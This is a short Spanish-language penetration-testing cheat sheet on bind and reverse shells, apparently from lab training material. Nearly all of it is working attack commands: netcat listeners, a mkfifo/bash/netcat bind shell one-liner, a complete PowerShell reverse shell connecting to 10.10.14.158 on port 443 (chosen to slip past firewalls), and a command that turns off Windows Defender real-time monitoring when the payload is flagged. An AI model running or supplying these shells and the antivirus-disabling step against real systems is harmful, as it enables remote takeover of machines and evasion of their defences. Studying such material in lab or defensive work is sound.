BIND SHELL
Una bind shell es una shell de enlace en la que el sistema objetivo tiene un oyente iniciado y espera una conexión desde el sistema de ataque.
nc -lvnp 7777nc -nv {IP_víctima} 7777Para enlazar una shell Bash en la sesión TCP, se deben especificar el directorio, la shell, el listener, trabajar con pipelines y manejar la redirección de entrada y salida.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l {Ip_ATACANTE} 7777 > /tmp/fnc -nv 10.129.41.200 7777SHELL INVERSA
En una shell inversa, el atacante establece un servidor en espera de conexión y el sistema objetivo inicia la conexión.
sudo nc -lvnp 443Usamos el puerto 443 porque es común y podría evadir un firewall a nivel de sistema operativo y de red. Sin embargo, un firewall con inspección profunda de paquetes (DPI) podría detectar y bloquear la shell.
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Si aparece el error "script contains malicious content", se debe desactivar Windows Defender:
Set-MpPreference -DisableRealTimeMonitoring $true